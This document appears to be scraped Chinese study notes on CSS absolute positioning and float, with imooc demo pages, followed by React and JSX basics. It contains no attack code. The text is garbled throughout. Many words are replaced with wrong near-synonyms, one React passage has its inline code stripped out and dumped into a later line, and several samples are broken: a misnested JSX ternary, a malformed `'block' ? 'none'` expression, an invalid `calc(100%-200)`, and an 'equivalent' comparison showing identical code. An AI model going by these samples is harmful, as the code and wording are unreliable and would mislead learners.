clear 用来限制float
relative用来限制absolute
3）无依赖的absolute定位
脱离文档流
折翼的天使
1. 去浮动
2. 位置跟随
原来什么位置，绝对定位后仍是什么位置
（ie7 永远的inline-block水平）
配合margin的精肯定位
4）绝对定位实现相对效果
位置特别重要——充分利用跟随特性
图标图片相覆盖
img与vip中间使用注释<！-- -->实现完美贴合，避免出现空格
1 <!doctype html>
2 <html>
3 <head>
4 <meta charset="utf-8">
5 <title>图标定位二三事</title>
6 <style>
7 body { font: 14px/1.4 "Microsoft YaHei"; background-color: #EDEFF0; }
8 body, h3, h5 { margin: 0; }
9 img { border: 0 none; vertical-align: bottom; }
10 .l { float: left; }.r { float: right; }
11 .constr { width: 1200px; margin-left: auto; margin-right: auto; }
12 .header { background-color: #2A2C2E; }
13 .nav { height: 60px; }
14 .nav-list { float: left; font-size: 14px; font-weight: 400; }
15 .nav-a { display: inline-block; line-height: 20px; padding: 20px 35px; color: #B5BDC0; text-decoration: none; }
16 .nav-a:hover { color: #fff; }
17
18 .course { padding-top: 10px; }
19 .course-list { float: left; width: 280px; height: 240px; margin: 5px 10px 15px; border-radius: 0 0 1px 1px; background-color: #F7FAF9; background-color: rgba(255,255,255,1); box-shadow: 0 1px 2px #c5c5c5; text-decoration: none; }
20 .course-list-img { background-color: #6396F1; }
21 .course-list-h { line-height: 50px; font-size: 14px; font-weight: 400; color: #363d40; text-align: center; }
22 .course-list-tips { margin: 0 14px; font-size: 12px; color: #b4bbbf; overflow: hidden; }
23
24 .icon-hot { position: absolute; width: 28px; height: 11px; margin: -6px 0 0 2px; background: url(http://img.mukewang.com/545304730001307300280011.gif); }
25 .icon-recom { position: absolute; line-height: 20px; padding: 0 5px; background-color: #f60; color: #fff; font-size: 12px; }
26 .icon-vip { position: absolute; width: 36px; height: 36px; margin-left: -36px; background: url(http://img.mukewang.com/5453048000015d8800360036.gif); text-indent: -9em; overflow: hidden; }
27 </style>
28 </head>
29
30 <body>
31 <div class="header">
32 <div class="constr">
33 <div class="nav">
34 <h3 class="nav-list">
35 <a href="http://www.imooc.com/course/list" class="nav-a">课程</a>
36 </h3>
37 <h3 class="nav-list">
38 <a href="http://www.imooc.com/wenda" class="nav-a">问答</a>
39 </h3>
40 <h3 class="nav-list">
41 <a href="http://www.imooc.com/seek/index" class="nav-a">
42 求课<i class="icon-hot"></i>
43 </a>
44 </h3>
45 </div>
46 </div>
47 </div>
48
49 <div class="main">
50 <div class="constr">
51 <div class="course">
52 <a href="http://www.imooc.com/view/121" class="course-list">
53 <div class="course-list-img">
54 <span class="icon-recom">推荐</span>
55 <img width="280" height="160" alt="分享：CSS深刻理解之float浮动" src="http://img.mukewang.com/53d74f960001ae9d06000338-300-170.jpg"><!--
56 --><i class="icon-vip">vip</i>
57 </div>
58 <h5 class="course-list-h">分享：CSS深刻理解之float浮动</h5>
59 <div class="course-list-tips">
60 <span class="l">已完结</span>
61 <span class="r">3514人学习</span>
62 </div>
63 </a>
64 </div>
65 </div>
66 </div>
67 </body>
68 </html>
下拉框
利用跟随特性
1 <!doctype html>
2 <html>
3 <head>
4 <meta charset="utf-8">
5 <title>下拉框定位二三事</title>
6 <style>
7 body { margin: 0; font: 14px/1.4 "Microsoft YaHei"; background-color: #EDEFF0; }
8 .constr { width: 1200px; max-width: 80%; margin-left: auto; margin-right: auto; padding-bottom: 300px; overflow: hidden; }
9 .course-sidebar { width: 262px; float: left; }
10 .course-sidebar > div { border: 1px solid #e6e8e9; box-shadow: 0px 1px 2px #d5d7d8; background-color: #fff; }
11 .course-sidebar-type { height: 380px; }
12 .course-sidebar-search { margin-top: 20px; overflow: hidden; }
13 .course-search-input { width: 200px; line-height: 18px; padding: 10px; margin: 0; border: 0 none; font-size: 12px; font-family: inherit; float: left; }
14 .course-sidebar-search.focus { border-color: #2ea7e0; }
15 .course-search-input:focus { outline: 0 none; }
16 .course-search-input::-ms-clear { display: none; }
17 .course-search-btn { width: 38px; height: 38px; float: right; background: url(http://img.mukewang.com/545305ba0001f3f600380076.png); text-indent: -9em; overflow: hidden; }
18 .focus .course-search-btn { background-position: 0 -38px; }
19
20 .course-sidebar-result { display: none; position: absolute; width: 260px; margin: 39px 0 0 -1px; padding-left: 0; list-style-type: none; border: 1px solid #e6e8e9; background-color: #fff; box-shadow: 0px 1px 2px #d5d7d8; font-size: 12px; }
21 .course-sidebar-result > li { line-height: 30px; padding-left: 12px; }
22 .course-sidebar-result > li:hover { background-color: #f9f9f9; }
23 .course-sidebar-result a { display: block; color: #5e5e5e; text-decoration: none; }
24 .course-sidebar-result a:hover { color: #000; }
25 </style>
26 </head>
27
28 <body>
29 <div class="constr">
30 <div class="course-sidebar">
31 <div class="course-sidebar-type"></div>
32 <div class="course-sidebar-search">
33 <ul id="result" class="course-sidebar-result">
34 <li><a href="http://www.imooc.com/view/121">分享：CSS深刻理解之float浮动</a></li>
35 <li><a href="http://www.imooc.com/view/118">案例：CSS圆角进化论</a></li>
36 <li><a href="http://www.imooc.com/view/93">案例：CSS Sprite雪碧图应用</a></li>
37 <li><a href="http://www.imooc.com/view/77">案例：CSS3 3D 特效</a></li>
38 <li><a href="http://www.imooc.com/view/57">案例：如何用CSS进行网页布局</a></li>
39 </ul>
40 <input class="course-search-input" placeholder="课程搜索">
41 <a href="javascript:" class="course-search-btn">搜索</a>
42 </div>
43 </div>
44 </div>
45 <script>
46 (function() {
47 var input = document.getElementsByTagName("input")[0],
48 result = document.getElementById("result");
49
50 if (input && result) {
51 input.onfocus = function() {
52 this.parentNode.className = "course-sidebar-search focus";
53 if (this.value != "") {
54 // show datalist
55 result.style.display = "block";
56 console.log('block');
57 }
58 };
59 input.onblur = function() {
60 if (this.value == "") {
61 this.parentNode.className = "course-sidebar-search";
62 }
63 // hide datalist
64 result.style.display = "none";
65 console.log('none')
66 };
67
68 // IE7 that wrap a DIV for avoid bad effect from float
69 if (!document.querySelector) {
70 var div = document.createElement("div");
71 input.parentNode.insertBefore(div, input);
72 div.appendChild(result);
73 }
74 // events of datalist
75 if ("oninput" in input) {
76 input.addEventListener("input", function() {
77 if (this.value.trim() != "") {
78 result.style.display = "block";
79 } else {
80 result.style.display = "none";
81 }
82 });
83 } else {
84 // IE6-IE8
85 input.onpropertychange = function(event) {
86 event = event || window.event;
87 if (event.propertyName == "value" && /focus/.test(this.parentNode.className)) {
88 if (this.value != "") {
89 result.style.display = "block";
90 } else {
91 result.style.display = "none";
92 }
93 }
94 }
95 }
96 }
97
98 })();
99 </script>
100 </body>
101 </html>
居中
实现图片居中：
1. text-align+无依赖的绝对定位元素
2. display: block ; margin: auto;
3. position: absolute; margin-left:(width)/2
4. translate-x:-50%
第一种实现方式居中（一样的方式可用于右侧选择栏）
<div class="course-loading-x">
<img src="http://img.mukewang.com/5453077400015bba00010001.gif" class="course-loading" alt="加载中...">
</div>
css:
.course-loading-x { height: 0; margin-top: 20px; text-align: center; letter-spacing: -.25em; overflow: hidden; }
.course-loading { position: absolute; margin-left: -26px; }
星号对齐（与空格）
星号绝对定位
小图标对齐
无依赖的绝对定位+margin
溢出
超越外部尺寸限制
<label class="regist-label">
<span class="regist-star">*</span>
登陆邮箱
</label>
.regist-label { width: 70px; padding-top: 10px; float: left; }
.regist-star { position: absolute; margin-left: -1em; font-family: simsun; color: #f30; }
1 <!doctype html>
2 <html>
3 <head>
4 <meta charset="utf-8">
5 <title>文本图标对齐与定位二三事</title>
6 <style>
7 body { margin: 0; font: 14px/1.4 "Microsoft YaHei"; background-color: #EDEFF0; }
8 a { color: #50B6E5; }
9 .constr { width: 1200px; margin-left: auto; margin-right: auto; }
10 .regist-head { height: 60px; line-height: 60px; padding-left: 30px; background-color: #be3948; color: #fff; font-size: 18px; }
11 .regist-body { min-height: 400px; padding: 100px 0; background-color: #fff; }
12 .regist-main { width: 600px; margin-left: auto; margin-right: auto; }
13 .regist-group { margin-top: 20px; overflow: hidden; }
14 .regist-label { width: 70px; padding-top: 10px; float: left; }
15 .regist-cell { display: table-cell; *display: inline-block; }
16 .regist-input { height: 18px; line-height: 18px; width: 260px; padding: 10px 5px; margin: 0 10px 0 0; border: 1px solid #d0d6d9; vertical-align: top; }
17 .regist-code-input { width: 130px; }
18 .regist-btn { display: inline-block; width: 160px; line-height: 40px; background-color: #39b94e; color: #fff; text-align: center; text-decoration: none; }
19 .regist-btn:hover { background-color: #33a646; }
20 .icon-warn { display: inline-block; width: 20px; height: 21px; background: url(http://img.mukewang.com/5453084a00016ae300120012.gif) no-repeat center; }
21
22 .regist-star { position: absolute; margin-left: -1em; font-family: simsun; color: #f30; }
23 .regist-remark { position: absolute; line-height: 21px; padding-top: 9px; color: #666; }
24 .regist-warn { padding-left: 20px; color: #be3948; }
25 .regist-warn > .icon-warn { position: absolute; margin-left: -20px; }
26 </style>
27 </head>
28
29 <body>
30 <div class="constr">
31 <div class="regist-head">注册</div>
32 <div class="regist-body">
33 <div class="regist-main">
34 <div class="regist-group">
35 <label class="regist-label"><span class="regist-star">*</span>登陆邮箱</label>
36 <div class="regist-cell">
37 <input type="email" class="regist-input"><span class="regist-remark regist-warn">
38 <i class="icon-warn"></i>邮箱格式不许确（演示）
39 </span>
40 </div>
41 </div>
42 <div class="regist-group">
43 <label class="regist-label"><span class="regist-star">*</span>登陆密码</label>
44 <div class="regist-cell">
45 <input type="password" class="regist-input"><span class="regist-remark">
46 请输入6-16位密码，区分大小写，不能使用空格
47 </span>
48 </div>
49 </div>
50 <div class="regist-group">
51 <label class="regist-label"><span class="regist-star">*</span>用户昵称</label>
52 <div class="regist-cell">
53 <input type="password" class="regist-input">
54 </div>
55 </div>
56 <div class="regist-group">
57 <label class="regist-label">手机号码</label>
58 <div class="regist-cell">
59 <input type="tel" class="regist-input">
60 </div>
61 </div>
62 <div class="regist-group">
63 <label class="regist-label"><span class="regist-star">*</span>验 证 码</label>
64 <div class="regist-cell">
65 <input class="regist-input regist-code-input"><img src="http://img.mukewang.com/545308540001678401500040.jpg">
66 </div>
67 </div>
68 <div class="regist-group">
69 <label class="regist-label"> </label>
70 <div class="regist-cell">
71 <input type="checkbox" checked><label>我已阅读并赞成<a href="##">慕课协议</a>。</label>
72 <p>
73 <a href="javascript:" class="regist-btn">当即注册</a>
74 </p>
75 </div>
76 </div>
77 </div>
78 </div>
79 </div>
80 </body>
81 </html>
5）脱离文档流
垂直空间的层级
后来居上（准则）
z-index潜在误区
绝对定位元素都须要z-index控制层级，肯定其显示的垂直位置
1.若是只有一个绝对定位元素，天然不须要z-index,自动覆盖普通元素；
2.若是两个绝对定位，控制DOM流的先后顺序达到须要的覆盖效果，依然无z-index；
3.若是多个绝对定位交错，很是很是少见，z-index:1控制；
4.若是非弹窗类的绝对定位元素z-index>2,一定z-index冗余，请优化！
备注：动画尽可能做用在 绝对定位的元素上。
6）基本属性（天使的翅膀）
top/left/bottom/right
定位
通常组合使用：top+left/bottom+right
7）基本属性与width/height
相互替代性
绝对定位对立：left+right/top+bottom ————拉伸效果
positon:absolute; left:0; top:0; width:50%; =====等同于======== position:absolute; left:0; top:0; width:50%;
差别——拉伸更强大
如：实现一个距离右侧200px全屏自适应容器层
---------------拉伸-------------- position: absolute; left: 0; right: 200px; ---------------width------------- position: absolute; left:0; width:calc(100%-200);
相互支持性
1. 容器无需固定width/height值，内部元素亦可拉伸
css驱动的左右半区翻图浏览效果
2. 容器拉伸，内部元素支持百分比width/height值
一般状况：
元素百分比height要起做用，须要父级容器的height值不是auto
绝对定位拉伸下：
即便父级容器的height值是auto，只要容器绝对定位拉伸造成，百分比高度值也是支持的
相互合做性
若是拉伸和width/height同时存在
则：width/height设置的尺寸 > left/top/right/bottom 拉伸的尺寸
当：尺寸限制，拉伸及margin：auto同时出现————绝对定位元素的绝对居中效果（IE8+）
8）absolute网页总体布局
摆脱狭隘的定位
1. body降级，子元素升级
//升级的子div设置为满屏
.page{ position: absolute; left:0; top: 0;right: 0;bottom: 0 }
//绝对定位受限于父级，所以，page要想拉伸，则须要
html, body{ height: 100%; }
2. 各模块-头尾、侧边栏（pc端）各居其位
header,footer{ position: absolute; left: 0; right: 0; }
header {height: 50px; top:0; }
footer {height: 50px; bottom: 0; }
side{ width: 250px; position: absolute; left: 0; top:50px; bottom:50px; }
3. 内容区域想象成body
.content{position: absolute; top: 50px; bottom:50px;left:250px; overflow:auto}
这时： 头尾及侧边栏都是fixed效果，不跟随滚动，避免了移动端position：fixed实现的诸多问题
4. 全屏覆盖与page平级
.overlay{
position: absolute;
top: 0;right:0;bottom:0;left:0;
z-index:900;
}
<div class="page"></div>
<div class="overlay"></div>
完整实例
1 <!doctype html>
2 <html>
3 <head>
4 <meta charset="utf-8">
5 <meta name="viewport" content="width=device-width,initial-scale=1.0,user-scalable=no">
6 <title>慕课网-绝对定位整页布局演示</title>
7 <link rel="stylesheet" href="css/absolute-layout.css">
8 <style>
9 body { font-family: 'microsoft yahei'; }
10 </style>
11 </head>
12
13 <body>
14 <div class="page">
15 <div class="header">
16 <h1>慕课网</h1>
17 <a href="javascript:" class="icon-add">添加</a>
18 <a href="javascript:" class="icon-search">搜索</a>
19 </div>
20 <div class="content">
21 <div class="">
22 <a href="http://www.imooc.com/learn/192" class="wechat-list">
23 <img src="http://img.mukewang.com/547d338d00010ced01200120.jpg">
24 <div class="cell">
25 <div class="wechat-h-time"><h5>张鑫旭</h5><time>早上09:51</time></div>
26 <p>CSS深刻理解值绝对定位</p>
27 </div>
28 </a>
29 <a href="http://www.imooc.com/learn/192" class="wechat-list">
30 <img src="http://img.mukewang.com/547d338d00010ced01200120.jpg">
31 <div class="cell">
32 <div class="wechat-h-time"><h5>张鑫旭</h5><time>早上09:38</time></div>
33 <p>若是高度不够，能够手动缩小浏览器高度</p>
34 </div>
35 </a>
36 <a href="http://www.imooc.com/learn/192" class="wechat-list">
37 <img src="http://img.mukewang.com/547d338d00010ced01200120.jpg">
38 <div class="cell">
39 <div class="wechat-h-time"><h5>张鑫旭</h5><time>早上08:47</time></div>
40 <p>此demo是本系列最后一个demo</p>
41 </div>
42 </a>
43 <a href="http://www.imooc.com/learn/192" class="wechat-list">
44 <img src="http://img.mukewang.com/547d338d00010ced01200120.jpg">
45 <div class="cell">
46 <div class="wechat-h-time"><h5>张鑫旭</h5><time>早上08:36</time></div>
47 <p>此demo须要在高级浏览器中查看</p>
48 </div>
49 </a>
50 <a href="http://www.imooc.com/learn/192" class="wechat-list">
51 <img src="http://img.mukewang.com/547d338d00010ced01200120.jpg">
52 <div class="cell">
53 <div class="wechat-h-time"><h5>张鑫旭</h5><time>昨天</time></div>
54 <p>重在原理展现，结构可多变。例如，header放在page外面~~</p>
55 </div>
56 </a>
57 <a href="https://github.com/zhangxinxu/mobilebone" class="wechat-list">
58 <img src="http://img.mukewang.com/547d338d00010ced01200120.jpg">
59 <div class="cell">
60 <div class="wechat-h-time"><h5>张鑫旭</h5><time>昨天</time></div>
61 <p>最近鄙人整了个名叫Mobilebone的开源项目</p>
62 </div>
63 </a>
64 <a href="https://github.com/zhangxinxu/mobilebone" class="wechat-list">
65 <img src="http://img.mukewang.com/547d338d00010ced01200120.jpg">
66 <div class="cell">
67 <div class="wechat-h-time"><h5>张鑫旭</h5><time>星期三</time></div>
68 <p>就是依赖绝对定位总体布局，你们能够前去围观</p>
69 </div>
70 </a>
71 <a href="http://www.imooc.com/learn/192" class="wechat-list">
72 <img src="http://img.mukewang.com/547d338d00010ced01200120.jpg">
73 <div class="cell">
74 <div class="wechat-h-time"><h5 class="business">慕课网</h5><time>星期三</time></div>
75 <p><img src="http://img.mukewang.com/547d33a00001299b00320033.jpg" width="16" height="16"></p>
76 </div>
77 </a>
78 <a href="http://www.imooc.com/learn/121" class="wechat-list">
79 <img src="http://img.mukewang.com/547d338d00010ced01200120.jpg">
80 <div class="cell">
81 <div class="wechat-h-time"><h5>张鑫旭</h5><time>星期三</time></div>
82 <p>CSS深刻理解之浮动</p>
83 </div>
84 </a>
85 <a href="http://www.imooc.com/learn/121" class="wechat-list">
86 <img src="http://img.mukewang.com/547d338d00010ced01200120.jpg">
87 <div class="cell">
88 <div class="wechat-h-time"><h5>张鑫旭</h5><time>上周</time></div>
89 <p>一样精彩，欢迎支持~</p>
90 </div>
91 </a>
92 </div>
93 </div>
94
95 <div class="footer">
96 <a href="http://www.imooc.com/course/list">
97 <i class="icon-wechat"></i>课程
98 </a>
99 <a href="http://www.imooc.com/wenda">
100 <i class="icon-contacts"></i>问答
101 </a>
102 <a href="http://www.imooc.com/seek/index">
103 <i class="icon-finds"></i>求课
104 </a>
105 <a href="http://www.imooc.com/space/course" class="active">
106 <i class="icon-mes"></i>个人课程
107 </a>
108 </div>
109 </div>
110 </body>
111 </html>
1 /* wechat.css */
2 body {
3 margin: 0;
4 -webkit-user-select: none;
5 user-select: none;
6 -ms-touch-action: none;
7 }
8
9 /* construction */
10 html, body, .page {
11 height: 100%; width: 100%;
12 overflow: hidden;
13 }
14 .page {
15 position: absolute; left: 0; top: 0;
16 }
17 body { background-color: #ebebeb; font-family: "Helvetica Neue", Helvetica, STHeiTi, sans-serif; }
18 a { text-decoration: none; -webkit-tap-highlight-color: rgba(0,0,0,0); }
19 h1,h2,h3,h4,h5,h6{ margin: 0; font-weight: 400; }
20 ul,ol{ margin: 0; list-style-type: none; }
21
22 .header, .footer, .content { position: absolute; left: 0; right: 0; }
23 .header { height: 48px; padding: 0 5px; background-color: #21292B; color: #fff; top: 0; z-index: 1; }
24 .header > h1 { line-height: 48px; margin: 0 0 0 10px; font-size: 18px; float: left; }
25 .header > a { display: inline-block; width: 48px; height: 48px; background-size: 48px 144px; text-indent: -9em; overflow: hidden; }
26 .header > .icon-search, .header > .icon-add { float: right; }
27 .footer { height: 52px; border-top: 1px solid #dfdfdf; background-color: #fcfcfc; bottom: 0; z-index: 1; }
28 .footer > a { width: 25%; text-align: center; color: #999; float: left; font-size: 14px; }
29 .footer > a > i { display: block; height: 35px; margin-bottom: -3px; background-size: 35px 280px; }
30 .footer > .active { color: #45c018; }
31 .content { top: 48px; bottom: 53px; overflow: auto; }
32
33 .icon-search, .icon-back, .icon-add { background: url(http://img.mukewang.com/547d339b000188bb00960288.png) no-repeat; }
34 .icon-back { background-position: 0 -96px; }
35 .icon-add { background-position: 0 -48px; }
36 .icon-wechat, .icon-contacts, .icon-finds, .icon-mes { background: url(http://img.mukewang.com/547d33970001444d00700560.png) no-repeat center top; }
37 .active .icon-wechat { background-position: center -35px; }
38 .icon-contacts { background-position: center -70px; }
39 .active .icon-contacts { background-position: center -105px; }
40 .icon-finds { background-position: center -140px; }
41 .active .icon-finds { background-position: center -175px; }
42 .icon-mes { background-position: center -210px; }
43 .active .icon-mes { background-position: center -245px; }
44 .icon-find { background: url(icon-find.png) no-repeat; background-size: 28px 210px; }
45 .icon-find-2 { background-position: 0 -30px; }
46 .icon-find-3 { background-position: 0 -60px; }
47 .icon-find-4 { background-position: 0 -90px; }
48 .icon-find-5 { background-position: 0 -120px; }
49 .icon-find-6 { background-position: 0 -150px; }
50 .icon-find-7 { background-position: 0 -180px; }
51 .icon-me { background: url(icon-me.png) no-repeat; background-size: 28px 120px; }
52 .icon-me-2 { background-position: 0 -30px; }
53 .icon-me-3 { background-position: 0 -60px; }
54 .icon-me-4 { background-position: 0 -90px; }
55
56
57 .wechat-list { display: block; height: 64px; padding: 8px 12px; box-sizing: border-box; border-bottom: 1px solid #d7d7d7; background-color: #fff; }
58 .wechat-list:last-child { border-bottom: 0; }
59 .wechat-list > img { width: 48px; height: 48px; float: left; }
60 .wechat-list > .cell { padding-left: 58px; line-height: 24px; color: #333; }
61 .wechat-h-time { overflow: hidden; }
62 .wechat-h-time > h5 { font-size: 100%; float: left; }
63 .wechat-h-time > time { font-size: 12px; color: #b9b9b9; float: right; }
64 .wechat-h-time .business { color: #54688D; }
65 .wechat-h-time + p { margin: 0 20px 0 0; font-size: 14px; color: #a8a8a8; white-space: nowrap; text-overflow: ellipsis; overflow: hidden; }
66 .wechat-detail { position: relative; z-index: 1; }
3、float
1）float的设计初衷仅仅是： 文字环绕效果
包裹与破坏
使父元素塌陷
- clear
- BFC/haslayout
.clearfix:after{content:'';display:table;clear:both;}
.clearfix{*zoom:1;}
clearfix只须要用在包含浮动子元素的父级元素上
两种方式：
1 <!doctype html> 2 <html> 3 <head> 4 <meta charset="utf-8"> 5 <title>clear与margin重叠</title> 6 </head> 7 8 <body> 9 1. 10 <div style=""> 11 <img src="http://img.mukewang.com/53d60af3000171a002560191.jpg" style="float:left;"> 12 <div style="clear:both; margin-bottom:100px;">clear:both;</div> 13 </div> 14 <div style="margin-top: 100px;">本文字离图片的距离是？</div> 15 <br><br><br><br>2. 16 <div style=" overflow: hidden;"> 17 <img src="http://img.mukewang.com/53d60af3000171a002560191.jpg" style="float:left; margin-bottom: 100px;"> 18 </div> 19 <div style="margin-top: 100px;">本文字离图片的距离是？</div> 20 </body> 21 </html>
清除浮动有两种方法：
一、用clear清除浮动：浮动元素底部加入 <div> + clear:both 样式； 会发生margin重叠显现。
缘由：外部元素会对内部元素产生影响，图片的bottom是针对下一个div的上部为标准，因此上移100px，而发生重叠。
二、用BFC清除浮动：浮动元素的父元素 + overflow:hidden 样式； 父元素会将整个元素包裹起来，从而不会出现塌陷和重叠显现。
缘由：内部元素被包裹起来不会受到干扰，图片的bottom就是父元素的bottom，因此上移100px;
2）浮动的滥用
砌砖布局
1. 容错性比较糟糕，容易出问题
2. 这种布局须要元素固定尺寸，很难重复使用
3. 低版本ie下有不少问题
3）浮动与流动布局
1. 单侧固定
width+ float
padding-left/margin-left
2. 智能自适应
float
display: table-cell ie8+
display: inline-block ie7
4） 兼容
ie7
react小结
react基础小结
1. 例子
import React from 'react'
import { render } from 'react-dom'
// 定义组件
class Hello extends React.Component {
render() {
// return 里面写jsx语法
return ( <p>hello world</p> )
}
}
// 渲染组件到页面
render( <Hello/>, document.getElementById('root') )
import React from 'react'
这里的react对应的是文件中中的，即在该目录下用安装的 react 。npm 安装的 react 的物理文件是存放在 中的，所以引用的东西确定就在这个文件夹里面。
中的，这里的即指定了入口文件，即这个文件
2. jsx语法
1）使用一个父节点包裹
jsx中不能一次性返回零散的多个节点，若是有多个则包含到一个节点中
如：./package.jsondependencies'react'npm install./node_modules/react./node_modules/react/package.json"main": "react.js",main./node_modules/react/react.js
return (
<div>
<p>段落1</p>
<p>段落2</p>
<p>段落3</p>
</div>
)
3. 注释
jsx中用{/**/}的注释形式
如：
return(
//jsx外的注释
<div>
{/*jsx里面的注释*/}
<p>hello</p>
</div>
)
4. 样式
css样式：
<p className="class1">hello</p> <!--用className代替class*/
内联样式：
<p style={{color:'red',fontSize:'20px'}}>hello</p>
<!--注意{{}},和驼峰写法-->
5. 事件
如：click
class Hello extends React.Component{
render(){
return (
<p onClick={this.clickHandler.bind(this)}>hello</p>
)
}
clickHandler(event){
console.log('yes')
}
}
注意：onClick驼峰写法
6. 循环
7. 判断
jsx中通常会用到三元表达式（表达式也是放在{}中的）
如：
return(
<div>
<p>段落1</p>
{
true
? <p> true </p>
: <p> false </p>
</div>
}
</div>
)
也能够这样使用：
<p style={{display: true? 'block' ? 'none'}}> hello world</p>
8. 数据传递&数据变化
1） props
若是
<Header title="Hello页面"/>
在Header组件中能够这样取到
render(){
return(
<p>{this.props.title}</p>
)
}
在react中，父组件给子组件传递数据时，就是以上的方式，经过给子组件设置props，子组件获取props中的值即可完成数据传递。
2）props&state
若是组件内部自身的属性发生变化
class Hello extends React.Component{
constructor(props,context){
super(props,context);
this.state={
//显示当前时间
now:Date.now()
}
}
render(){
return(
<div>
<p>hello world {this.state.now}</p>
</div>
)
}
}
react会实时监听每一个组件的props和state值，一旦有变化，会马上更新组件，将结果从新渲染到页面上
var LikeButton = React.createClass({
getInitialState: function (){
return {liked : false};
},
handleClick: function (event) {
this.setState({liked: !this.state.liked});
},
render: function(){
var text = this.state.liked ? 'like' : 'haven\'t liked';
return (
<p onClick={this.handleClick}>
you {text} this click to toggle
</p>
);
}
});
3）智能组件&木偶组件